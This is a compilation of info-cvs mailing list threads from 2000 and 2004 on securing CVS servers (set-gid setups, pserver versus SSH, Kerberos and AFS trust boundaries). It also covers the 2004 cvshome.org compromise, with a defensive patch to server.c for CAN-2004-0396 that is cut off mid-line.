[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security question

[Mark D. Baushke]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Pankaj Garg <[EMAIL PROTECTED]> writes:

> I wonder why do we not CVS has a server which run with SUID (Super
> User ID) and only it can access repository. Other users can login via
> SSH, verify their credentials with our CVS Server and ask CVS Server
> to carry out their requests. They can request normal repository
> operations based on their privilege. This new CVS server will give
> much better control because we can set minute details of permissions
> on repository and files inside it. In fact we can have just One
> repository in all and host multiple projects under it and give control
> of these projects to different group of people.
> 
> Whats stopping people from implementing this?

You should be able to implement it if it will meet your needs.

Something like the second-to-last paragraphs of this message:
  http://mail.gnu.org/archive/html/info-cvs/2004-01/msg00163.html
is posible.

I know of a site that runs cvs as a set-gid 'cvs' program wherein all of
the files and directories are in group 'cvs' as an aid to avoid
accidental deletion. A set of periodic jobs gets run as root to chown
the files all to user cvs. No real users are in group cvs and the cvs
user does not have a real password. No file in the repository has world
read or write permissions.

Additional protection may be found by making the parent directory for
the repository is only visible to members of the 'software' group for
the software repository. So, this means that only members of the
'software' group would be able to run the set-gid cvs executable to
do any cvs operations at all.

Enjoy!
-- Mark
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (FreeBSD)

iD8DBQFAIDDO3x41pRYZE/gRAmNGAJ9+6wBMVW6lIxBGiHRsZc1ODtwFEgCfcTp4
/bzSvuptRQBRKkW/dEMtIgY=
=t7dG
-END PGP SIGNATURE-


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

[Greg A. Woods]

[ On Tuesday, February 3, 2004 at 12:32:42 (-0800), Rick Genter wrote: ]
> Subject: RE: CVS security question
>
> It's probably more secure to set their shell to something that does
> exist but won't function as a shell, like /dev/null or
> /bin/false.

Well it depends on how obscure you make the "fake" name, but no, that's
usually not really any more secure.

However it's a good idea to use a small binary program that simply
prints an error message, and perhaps logs the event.

Even a little shell script that doesn't ever accept any input from the
tty is secure enough:

#! /bin/sh
: ${USER:-UNKNOWN}
logger -i -s -p auth.info -t $0 "The $USER account is currently not available 
from `tty`."
exit 1

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security question

[Greg A. Woods]

[ On Tuesday, February 3, 2004 at 13:05:57 (-0800), Pankaj Garg wrote: ]
> Subject: Re: CVS security question
>
> I wonder why do we not CVS has a server which run with SUID (Super User ID) 
> and only it can access repository.

Because CVS is not a security tool, nor is it "security aware".

What you want to do can be done entirely with SSH and SSH was designed
to do exactly that sort of thing.

CVS is a user tool -- no different in its conceptual function than "vi"
or "cat".  You sure wouldn't want a client/server version of "vi" to be
authanticating and authorising the client's actions, but you could and
should easily use SSH to make the connection between the client and
server parts of such a tool.

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Vulnerability

[Tom Copeland]

> -Original Message-
> From: [EMAIL PROTECTED] 
> [mailto:[EMAIL PROTECTED] On Behalf 
> Of Derek Robert Price
> Sent: Monday, May 24, 2004 5:09 PM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Subject: CVS Security Vulnerability



> cvshome.org should be back up shortly 

In the meantime, anyone who wasn't able to get the 1.11.16 release can
get it from here:

http://cougaar.org/frs/?group_id=7

Thanks Derek for plugging away thru this unpleasantness.  May their
beards fall out and their beer go sour in their mugs.

Yours,

Tom



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Vulnerability

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Tom Copeland wrote:

>>-Original Message-
>>From: [EMAIL PROTECTED]
>>[mailto:[EMAIL PROTECTED] On Behalf
>>Of Derek Robert Price
>>Sent: Monday, May 24, 2004 5:09 PM
>>To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
>>Subject: CVS Security Vulnerability
>
>
>
>
>>cvshome.org should be back up shortly
>
>
>In the meantime, anyone who wasn't able to get the 1.11.16 release can
>get it from here:
>
>http://cougaar.org/frs/?group_id=7


Thanks.

>Thanks Derek for plugging away thru this unpleasantness.  


It's nice to be appreciated.  Now throw money.  ;)

>May their
>beards fall out and their beer go sour in their mugs.


Seconded!

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at <http://ximbiot.com>!
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAsprnLD1OTBfyMaQRAqe3AJ42kv7A8aLC8ubE3pZ3n5oiswoB3wCeI0qE
LwYIzDSEyGj3qsyta2q02yo=
=Smco
-END PGP SIGNATURE-



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Vulnerability

[Richard Wesley]

Pardon me if this is an ignorant question, but is there going to be a 
code audit starting from the date of the rooting of the server?

At 5:08 PM -0400 5/24/04, Derek Robert Price wrote:
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi all,
For those who don't know, cvshome.org is currently down because it was
hacked, via its CVS server we believe.  cvshome.org was used to send
an email that contains an exploit for the security vulnerabiliy
CAN-2004-0396

patched in releases 1.11.16 & 1.12.8.
The email with the exploit is here:
.
Our working theory is that cvshome.org was abused to send the email
using a root kit installed prior to the patching of its CVS server for
CAN-2004-0396.
Note that this vulnerability requires a valid login id & password on
the CVS server to exploit, but that even an anonymous & read-only
account is sufficient.  This vulnerability also applies to any CVS
server, post-authentication.  A CVS server accessed via pserver, ssh,
or any other method will be equally vulnerable.
I recommend that any CVS server running a release of CVS earlier than
1.11.16 or 1.12.8 be taken down immediately and patched.
cvshome.org should be back up shortly but it may be some time before
anonymous read-only access is reenabled.  Thanks go out to the folks
at CollabNet for all the time they have been spending on this.
Derek
- --
*8^)
Email: [EMAIL PROTECTED]
Get CVS support at !
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAsmRQLD1OTBfyMaQRAoFYAKDs4SpbgMnlWXE31OwLKL4JGrx0VgCgpWxA
z0Ig/Wi09ZBb6PovGxxW/ac=
=7zWD
-END PGP SIGNATURE-

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs
Best regards,
Richard Wesley
Co-President, Electric Fish, Inc.

(v) +1-206-493-1690x210
(f) +1-206-493-1697
(h) +1-206-632-4536
(m) +1-206-409-4536
___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Vulnerability

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Code reviews are being conducted by interested parties.  Most of those
parties are not me and I have little information on their current
progress.

Derek

Richard Wesley wrote:

> Pardon me if this is an ignorant question, but is there going to be
a code audit starting from the date of the rooting of the server?
>
> At 5:08 PM -0400 5/24/04, Derek Robert Price wrote:
>

> Hi all,
>
> For those who don't know, cvshome.org is currently down because it was
> hacked, via its CVS server we believe.  cvshome.org was used to send
> an email that contains an exploit for the security vulnerabiliy
> CAN-2004-0396
> 
> patched in releases 1.11.16 & 1.12.8.
>
> The email with the exploit is here:
>
.
>
> Our working theory is that cvshome.org was abused to send the email
> using a root kit installed prior to the patching of its CVS server for
> CAN-2004-0396.
>
> Note that this vulnerability requires a valid login id & password on
> the CVS server to exploit, but that even an anonymous & read-only
> account is sufficient.  This vulnerability also applies to any CVS
> server, post-authentication.  A CVS server accessed via pserver, ssh,
> or any other method will be equally vulnerable.
>
> I recommend that any CVS server running a release of CVS earlier than
> 1.11.16 or 1.12.8 be taken down immediately and patched.
>
> cvshome.org should be back up shortly but it may be some time before
> anonymous read-only access is reenabled.  Thanks go out to the folks
> at CollabNet for all the time they have been spending on this.
>
> Derek
>
>>
>>
>>
___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

> Best regards,

> Richard Wesley
> Co-President, Electric Fish, Inc.
> 
> (v) +1-206-493-1690x210
> (f) +1-206-493-1697
> (h) +1-206-632-4536
> (m) +1-206-409-4536



- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAs2ZbLD1OTBfyMaQRApgEAKDrQAI1yvkR0viU16BBB2nXglWdaQCgzMq4
K74+rS22JXFwon59wduQ7mg=
=aBj1
-END PGP SIGNATURE-



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Vulnerability

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Derek Robert Price wrote:

> Hi all,
>
> For those who don't know, cvshome.org is currently down because it was
> hacked, via its CVS server we believe.  cvshome.org was used to send
> an email that contains an exploit for the security vulnerabiliy
> CAN-2004-0396
> 
> patched in releases 1.11.16 & 1.12.8.


For those who would rather patch older releases of CVS, I've attached
an almost-clean patch for this vulnerability.

Derek
- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAs1G9LD1OTBfyMaQRAuB2AKCVVaL1aqCM8RMB46IEuqF/VPoQgwCg4yym
1oh6KAAts+bZQZI+eLJrxP4=
=BYUt
-END PGP SIGNATURE-

--- server.cTue Apr  6 16:20:55 2004
+++ /home/devel/mjc/server.cFri May 21 03:53:03 2004
@@ -1622,8 +1622,7 @@
 char *cp;
 char *timefield;
 
-if (error_pending ())
-   return;
+if (error_pending ()) return;
 
 if (outside_dir (arg))
return;
@@ -1637,9 +1636,28 @@
&& strlen (arg) == cp - name
&& strncmp (arg, name, cp - name) == 0)
{
-   timefield = strchr (cp + 1, '/') + 1;
-   if (*timefield != '=')
+   if (!(timefield = strchr (cp + 1, '/')) || *++timefield == '\0')
+   {
+   /* We didn't find the record separator or it is followed by
+* the end of the string, so just exit.
+*/
+   if (alloc_pending (80))
+   sprintf (pending_error_text,
+"E Malformed Entry encountered.");
+   return;
+   }
+   /* If the time field is not currently empty, then one of
+* serve_modified, serve_is_modified, & serve_unchanged were
+* already called for this file.  We would like to ignore the
+* reinvocation silently or, better yet, exit with an error
+* message, but we just avoid the copy-forward and overwrite the
+* value from the last invocation instead.  See the comment below
+* for more.
+*/
+   if (*timefield == '/')
{
+   /* Copy forward one character.  Space was allocated for this
+* already in serve_entry().  */
cp = timefield + strlen (timefield);
cp[1] = '\0';
while (cp > timefield)
@@ -1647,8 +1665,17 @@
*cp = cp[-1];
--cp;
}
-   *timefield = '=';
}
+   /* If *TIMEFIELD wasn't "/", we assume that it was because of
+* multiple calls to Is-Modified & Unchanged by the client and
+* just overwrite the value from the last call.  Technically, we
+* should probably either ignore calls after the first or send the
+* client an error, since the client/server protocol specification
+* specifies that only one call to either Is-Modified or Unchanged
+* is allowed, but broken versions of WinCVS & TortoiseCVS rely on
+* this behavior.
+*/
+   *timefield = '=';
break;
}
 }
@@ -1665,8 +1692,7 @@
 /* Have we found this file in "entries" yet.  */
 int found;
 
-if (error_pending ())
-   return;
+if (error_pending ()) return;
 
 if (outside_dir (arg))
return;
@@ -1681,9 +1707,28 @@
&& strlen (arg) == cp - name
&& strncmp (arg, name, cp - name) == 0)
{
-   timefield = strchr (cp + 1, '/') + 1;
-   if (!(timefield[0] == 'M' && timefield[1] == '/'))
+   if (!(timefield = strchr (cp + 1, '/')) || *++timefield == '\0')
{
+   /* We didn't find the record separator or it is followed by
+* the end of the string, so just exit.
+*/
+   if (alloc_pending (80))
+   sprintf (pending_error_text,
+"E Malformed Entry encountered.");
+   return;
+   }
+   /* If the time field is not currently empty, then one of
+* serve_modified, serve_is_modified, & serve_unchanged were
+* already called for this file.  We would like to ignore the
+* reinvocation silently or, better yet, exit with an error
+* message, but we just avoid the copy-forward and overwrite the
+* value from the last invocation instead.  See the comment below
+* for more.
+*/
+   if (*timefield == '/')
+   {
+   /* Copy forward one character.  Space was allocated for this
+* already in serve_entry().  */
cp = timefield + strlen (time

Re: CVS Security Vulnerability

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Jim.Hyslop wrote:

>Derek Robert Price wrote:
>
>>For those who would rather patch older releases of CVS, I've attached
>>an almost-clean patch for this vulnerability.
>
>Thanks for the patch.
>
>What do you mean by "almost-clean"?


There is nothing harmful in it.  It simply has a few unnecessary
touches, like reformatting.

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAs4KJLD1OTBfyMaQRAq4JAJwOxN5xVC7lnlKTwjqFmbrntWqbZACgtbyk
TEyT67WyOaSNK92nlYioAhM=
=45Ro
-END PGP SIGNATURE-



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Vulnerability

[Jim.Hyslop]

Derek Robert Price wrote:
> For those who would rather patch older releases of CVS, I've attached
> an almost-clean patch for this vulnerability.
Thanks for the patch.

What do you mean by "almost-clean"?

-- 
Jim Hyslop
Senior Software Designer
Leitch Technology International Inc. (http://www.leitch.com)
Columnist, C/C++ Users Journal (http://www.cuj.com/experts)




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

cvs security, passwords, chroot, encryption

[Nathan Neulinger]

I install cvs using a small wrapper program that chroots it, as well as
allows the repository to be safely maintained by a non-administrator
user without any concern of stuff doing things it shouldn't. However, I
am still limited to using the cvs passwd file. The wrapper makes it very
simple to do a single-uid regular-user repository that can be accessed
anonymously or directly. 

Using the rsh/ssh/kerberos rsh methods doesn't really help, since those
require that you let the users log on to your server. No thanks.

Here are a couple of ideas I had that might be a good way to make cvs
easier to set up in a secure manner.

1. Extend my chroot wrapper to allow it to figure out what repository is
being requested and chroot accordingly. This should be easy enough, just
haven't done it yet - will involve a extra i/o layer between cvs and the
client, but that shouldn't hurt much. (The extra I/O layer could be
eliminated if the cvs pserver had some method to pass the initializing
information other than stdin, or if cvs itself did the chrooting.)

2. Add a 'spserver' connection type that uses SSL. Sure, you could use
ssltunnel, but that's alot more of a contortion, and it will hurt
adoption by end users, simply saying CVSROOT=:spserver:... with a ssl
capable cvs client would be alot easier.

3. Add a 'admins' file in cvsroot/CVSROOT that would quickly and easily
allow you to define who can do stuff to the CVSROOT portion of the
repository. I'm sure you could do this with some of the wrapper
scripts/etc, but that's not particularly clean. Syntax could be
something like

-
user:aurd:
user1:ur:file1 file2 file3 
-

which would allow user to add update or read or delete any file, and
user1 could update or read file1 file2 or file3. Initially though, I
would suggest the file be simply a list of userids, like readers and
writers. 

4. After the ssl stuff is working, allow use of client certificates to
authenticate instead of the cvs passwd file.

5. Add a command line flag that defines an anonymous user(s) - yes, you
can do this by defining the user in the passwd file, but it would be
nice to have ftp style anonymous connections, where you could put in
your email address as the password and have that logged. Defining the
user as anonymous would automatically apply a non-admin and non-writer
restriction to the connection. 

These are just a few things that I think might yield a cvs server that
is easier to setup and secure. All of the above changes should remain
completely compatible with existing clients. The spserver method could
still be used with ssltunnel for those users that wanted to do it that
way. 

As for the SSL, I'd say just build it with OpenSSL - granted at the
moment that's not legal in the U.S. unless you're building with rsaref
and even then only for non-commercial - but it will be legal in a little
over 6 months. 

-- Nathan


Nathan Neulinger   EMail:  [EMAIL PROTECTED]
University of Missouri - Rolla Phone: (573) 341-4841
CIS - Systems ProgrammingFax: (573) 341-4216

Best way to plug the CVS Security hole?

[Mark]

What's the best way to disable the update.prog and checkin.prog functionality?
Currently I have commented out 2 REQ lines  in the source that seem to call
this functionality. Is this the best way to do this?

We don't need the functionality and we are running cvs pserver with a non-root
account from inetd.conf.

Can this (disabling that functionality) be made easier to do in the next
release of CVS?

Thanks,

Mark

__
Do You Yahoo!?
Check out Yahoo! Shopping and Yahoo! Auctions for all of
your unique holiday gifts! Buy at http://shopping.yahoo.com
or bid at http://auctions.yahoo.com

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

CVS security: networked filesystems like AFS, client server, ssh

[Andy Glew]

By the way, what's the bottom line on CVS security
when run according to the various modes?
Here's what I understand:

CVS with its own dedicated socket/port
- I think this is called CVS pserver mode

Pretty much totally unsecure.
Naked socket. Trivial security.

CVS with its own dedicated socket/port
run across SSH

Transport secured, but the CVS socket/port
is open to the world on the remote machine,
and hence is insecure there, and on the
remote machine's network.

CVS kserver - probably okay

CVS using a non-socket/port transport like rsh or ssh
to connect to a server machine. "cvs server"

As secure as the transport.

E.g. requires account administration on the
machine on which cvs server will run.

CVS across a network filesystem

As secure as the filesystem and its transport.

Requires account administration on the
machine on which cvs server will run.

Re: Best way to plug the CVS Security hole?

[Noel Yap]

Use SSH instead of pserver.

Noel
--- Mark <[EMAIL PROTECTED]> wrote:
> 
> What's the best way to disable the update.prog and
> checkin.prog functionality?
> Currently I have commented out 2 REQ lines  in the
> source that seem to call
> this functionality. Is this the best way to do this?
> 
> We don't need the functionality and we are running
> cvs pserver with a non-root
> account from inetd.conf.
> 
> Can this (disabling that functionality) be made
> easier to do in the next
> release of CVS?
> 
> Thanks,
> 
> Mark
> 
> __
> Do You Yahoo!?
> Check out Yahoo! Shopping and Yahoo! Auctions for
> all of
> your unique holiday gifts! Buy at
> http://shopping.yahoo.com
> or bid at http://auctions.yahoo.com
> 
> ___
> Info-cvs mailing list
> [EMAIL PROTECTED]
> http://mail.gnu.org/mailman/listinfo/info-cvs


__
Do You Yahoo!?
Check out Yahoo! Shopping and Yahoo! Auctions for all of
your unique holiday gifts! Buy at http://shopping.yahoo.com
or bid at http://auctions.yahoo.com

___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security: networked filesystems like AFS, client server, ssh

[Noel L Yap]

[EMAIL PROTECTED] on 05/14/2000 09:50:23 PM
>CVS with its own dedicated socket/port
>run across SSH
>
>Transport secured, but the CVS socket/port
>is open to the world on the remote machine,
>and hence is insecure there, and on the
>remote machine's network.

If the data stream is encrypted, why do you call this insecure?  How secure is
secure?

>CVS using a non-socket/port transport like rsh or ssh
>to connect to a server machine. "cvs server"
>
>As secure as the transport.
>
>E.g. requires account administration on the
>machine on which cvs server will run.

Why is admin access necessary in this situation?

Noel




This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

Noel L Yap wrote:

> [EMAIL PROTECTED] on 05/14/2000 09:50:23 PM
> >CVS with its own dedicated socket/port
> >run across SSH
> >
> >Transport secured, but the CVS socket/port
> >is open to the world on the remote machine,
> >and hence is insecure there, and on the
> >remote machine's network.
>
> If the data stream is encrypted, why do you call this insecure?  How secure is
> secure?

If you use port forwarding, i.e. if you have a port on the client machine
that a client can connect to, that is forwarded across SSH to the server,
then you are only as secure as the security on that client machine.
Best if you have the clientside port enabled only for localhost, or even
user@localhost, but that is fairly easily spoofed.

If the forwarded port is open to all of the network segment that the
client machine is on, then you are only as secure as the least secure machine
on that network.

Anything involving port forwarding, even if the transport is secure,
has access to the forwarded port only as secure as the machine the
forwarded port lives on.  Since you usually cannot rely on that,
then your security is only as good as the server connected to that forwarded
port - does it authenticate properly, expire tokens regularly, etc., etc.
Since many people set up SSH with trivial authentication - "Any process
on machine C can connect to the forwarded port and work on machine S,
once the SSH connection is established" - that doesn't count for much.
If CVS pserver is the only thing connected at the far end, then you're
only as good as CVS pserver's authentication.  Which, according to what I've
read and what I've seen posted to this list, is not very good.



> >CVS using a non-socket/port transport like rsh or ssh
> >to connect to a server machine. "cvs server"
> >
> >As secure as the transport.
> >
> >E.g. requires account administration on the
> >machine on which cvs server will run.
>
> Why is admin access necessary in this situation?

The CVS server on the server machine manipulates data
in the server machine's filesystem.  It requires some sort
of account identification to do this.

If you run the CVS server as some sort of anonymous user,
say "CVS", then, well, then you get what you deserve.
Most secure systems require that each user run with a separate
account id, for traceability, if nothing else. At the very least,
they prohibit writing data as an anonymous user.

If you're the one setting up the CVS server without sysadmin support,
and you allow it to use your account, same thing.  Multiple users,
same account, no-no.

OK, so maybe you set up your own authentication system in CVS,
to "secure" usage of this single account. Of course, this is only as
secure as your (CVS's) authentication system - remember the posts
about CVS passwords?Any security administrator worth his salt
would/should prohibit this, or at least insist on auditing it.
Audit = account administration.

Or, best case, you give each user an account on the server, possibly
restricted.  Now each user has a separate id.  But, that's account
administration.



===

C'mon, Noel, you work for a bank!  Surely you know this stuff


Or, perhaps better:  I by no means have audited the security of CVS.
It is possible that CVS is secure. If so, I'd like to have someone explain
why it is to me, demonstrate it, etc.  To date, from what I have read
in the CVS manuals, what I have read in the code, and from discussions
I have seen posted to this mailing list, my assumption is that CVS,
particularly CVS server, is quite insecure.  My confidence in CVS's
security is not helped when I see posts that essentially say "CVS pserver
can use SSH, it therefore must be secure", since I do know enough about
security to know that that is not a valid line of reasoning.  It may be possible
to properly secure CVS pserver across SSH; I'd feel a lot more confidence
if somebody listed the necessary steps, and if that list included the dozen
or so steps that I know a priori must be done.

I understand how to secure CVS on a networked filesystem like AFS.
First, make sure that CVS has no set-user-id components.
Then, make sure that the ACLs for the repository are set correctly.
Then, manage Kerberos authentication.
This is straightforward, and does not require auditting CVS source code.
It relies on whatever security auditing or trust you have in the
networked filesystem.

To develop the same level of trust in the various CVS server configurations,
you have to audit the CVS code and protocol. I.e. you have to develop the same
level of trust in CVS that you have in the filesystem. I.e. from the point of
view of security, *CVS* *SERVER* *IS* *A* *NETWORKED* *FILESYSTEM*.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Brett Neumeier]

> I understand how to secure CVS on a networked filesystem like AFS.
> First, make sure that CVS has no set-user-id components.
> Then, make sure that the ACLs for the repository are set correctly.
> Then, manage Kerberos authentication.
> This is straightforward, and does not require auditting CVS source code.
> It relies on whatever security auditing or trust you have in the
> networked filesystem.

Maybe I'm just missing something, but why wouldn't you just set up
Kerberos and use the GSSAPI connection method to access the CVS server?

Regards,

Brett Neumeier

Re: CVS security: networked filesystems like AFS, client server, ssh

[Greg A. Woods]

[ On Monday, May 15, 2000 at 09:46:15 (-0400), Noel L Yap wrote: ]
> Subject: Re: CVS security: networked filesystems like AFS, client server,  ssh
>
> [EMAIL PROTECTED] on 05/14/2000 09:50:23 PM
> >CVS with its own dedicated socket/port
> >run across SSH
> >
> >Transport secured, but the CVS socket/port
> >is open to the world on the remote machine,
> >and hence is insecure there, and on the
> >remote machine's network.
> 
> If the data stream is encrypted, why do you call this insecure?  How secure is
> secure?

The CVS socket on the remote machine will happily encrypt an attacker's
connection just as it will the encrypt a legitimate user's connection.

I.e. in that configuration it's still only as secure as the remote
machine, which if it's multi-user then it's not secure at all.

-- 
Greg A. Woods

+1 416 218-0098  VE3TCP  <[EMAIL PROTECTED]>  
Planix, Inc. <[EMAIL PROTECTED]>; Secrets of the Weird <[EMAIL PROTECTED]>

Re: CVS security: networked filesystems like AFS, client server,ssh

[Noel L Yap]

[EMAIL PROTECTED] on 05/15/2000 01:44:08 PM
>C'mon, Noel, you work for a bank!  Surely you know this stuff

Fortunately for the bank, I don't work at this level.  I am anxious to learn,
though, so if you have any book or URL recommendations, I'd appreciate a list.

>Or, perhaps better:  I by no means have audited the security of CVS.

I think the manual states that CVS isn't secure nor is it meant to be secure --
use something else.

>security to know that that is not a valid line of reasoning.  It may be
possible
>to properly secure CVS pserver across SSH; I'd feel a lot more confidence
>if somebody listed the necessary steps, and if that list included the dozen
>or so steps that I know a priori must be done.

I, too, would like such a list.

I see (some of) the requirements as the following:
1. Allow CVS to work without a login account on the server.
2. Have CVS be able to log who did what.

I'm thinking of using a third party product to perform the authentication and
using a CVS patch that'll allow the operations (eg commit) to be logged as the
authenticated user.  Does anyone know of an open source product that'll perform
authentication?

Noel







This communication is for informational purposes only.  It is not intended as
an offer or solicitation for the purchase or sale of any financial instrument
or as an official confirmation of any transaction. All market prices, data
and other information are not warranted as to completeness or accuracy and
are subject to change without notice. Any comments or statements made herein
do not necessarily reflect those of J.P. Morgan & Co. Incorporated, its
subsidiaries and affiliates.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

> Maybe I'm just missing something, but why wouldn't you just set up
> Kerberos and use the GSSAPI connection method to access the CVS server?

This gets you past the network security issues (almost)
and into the application security issues:
how do you know that CVS itself is secure?

If you run multiple projects through the same CVS server,
and they want to keep things private from each other,
or if not all files in the CVS repository have the same accessibility
(we've had posts within the last month from CVS admins who want
to make some files accessible only to admins, others to Joe Developers,
others to tech writers, etc.)
you have to prove that CVS itself has no bugs that will
break security.

To keep projects private from each other
you're wise to use separate repositories/servers
for each project.

Whereas, if each user runs a non-setuid CVS on a local filesystem,
the user can enforce whatever policies he wants using ACLs.
(If your filesystem has ACLs).

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

> >Or, perhaps better:  I by no means have audited the security of CVS.
>
> I think the manual states that CVS isn't secure nor is it meant to be secure --
> use something else.

My version of something else:

** CVS across ssh or kserver, if you trust the client machines to
be properly secured (which I have trouble imagining)

** CVS across AFS or DFS

The latter is the only one I feel the slightest bit of confidence in.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Tobias Weingartner]

On Monday, May 15, Andy Glew wrote:
> > >Or, perhaps better:  I by no means have audited the security of CVS.
> >
> > I think the manual states that CVS isn't secure nor is it meant to be
> > secure -- use something else.
> 
> My version of something else:
> 
> ** CVS across ssh or kserver, if you trust the client machines to
> be properly secured (which I have trouble imagining)
> 
> ** CVS across AFS or DFS
> 
> The latter is the only one I feel the slightest bit of confidence in.

How does the later improve in any way on the former?!?  If the client is
not secure, AFS and/or DFS is not going to help you in much of any manner.

--Toby.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Andy Glew]

> > ** CVS across AFS or DFS
>
> How does the later improve in any way on the former?!?  If the client is
> not secure, AFS and/or DFS is not going to help you in much of any manner.

Short answer: in the latter (CVS on top of AFS) CVS does not need
to be trusted. Only the filesystem needs to be trusted. In the former
(any CVS server system) the CVS server needs to be trusted.

Long answer:

If the CVS client or server code is insecure,
if the CVS server is running as some anonymous OS user
with its own password code managing multiple CVS users,
then any bugs would allow any of the CVS users to munge
anything belonging to any other CVS user.
"Munge" includes reading data and corrupting data.
Or, anything accessible to the anonymous OS user account.
In this case, "munge" means data access, and possibly
program execution.
God help you if there are setuid programs running around,
or if the anonymous OS user account under which the CVS
server is not a relatively unprivileged "cvs", but has more
privilege, even, possibly, root.

I.e. basically all of the CVS user-ids and the OS-user-id under
which CVS runs must be considered to have the same privileges
for worst case analysis -- at least until CVS passes a security audit.

With CVS running on top of a network filesystem,
your security is that of the filesystem.
CVS runs with the privilege of the user running the CVS
command. (Let's forget about the possibility of CVS running
setuid.)

If the CVS program run by the user is insecure, well,
then the user can access exactly the files that he could access
without running CVS.

If the client machine is insecure, then the user can access...
only the files that it can authenticate itself to the fileserver for.
I.e. worst case, an intruder can take over the client machine,
munge around in the virtual memory of other processes,
find valid tokens, and use those to access the fileserver
as the user whose process he intervened with.
Note that the intruder cannot just record the network traffic, since
the tokens are not passed. Note that the intruder has to take
over the process whose tokens he is intercepting, since they
are probably nonces - challenge/response is time and sequence
number sensitive.  Note also that such tokens live in memory
in any reasonable system, not on disk - you *have* to gain
kernel privilege.

As soon as those tokens expire, the intruder cannot authenticate
to get any new ones. Nor can the intruder authenticate himself
as any other user except for users that are working on the system
he has taken over.




Note: this is not specific to a filesystem.  It's just good authentication.
Kerberized SSH or CVS runs this way... as long as it is not doing
port forwarding on the remote (client) machine.It's just a question
of what pieces of code you have to trust.  With CVS server,
the CVS server code is within the trust boundary - for all intents
and purposes, it is part of the security system. With CVS on top
of a filesystem, the CVS server code does not need to be trusted
- the trust boundary includes the filesystem, but not CVS.
The less code that you have to trust, the easier it is to give yourself
confidence that the code is secure.

Re: CVS security: networked filesystems like AFS, client server,ssh

[Tobias Weingartner]

On Monday, May 15, Andy Glew wrote:
> > > ** CVS across AFS or DFS
> >
> > How does the later improve in any way on the former?!?  If the client is
> > not secure, AFS and/or DFS is not going to help you in much of any manner.
> 
> Short answer: in the latter (CVS on top of AFS) CVS does not need
> to be trusted. Only the filesystem needs to be trusted. In the former
> (any CVS server system) the CVS server needs to be trusted.

I hate to point it out, but you seem to be a little confused.  First, if you
"export" the repo with AFS/NFS/DFS/etc, that repo will not be accessible with
other tools (such as rm, mv, ln, etc).  In other words, yes, you only have to
trust the AFS system, but if you can't trust the client that is running AFS,
then you are screwed anyways.  (I can trojan AFS code to do malicious things).

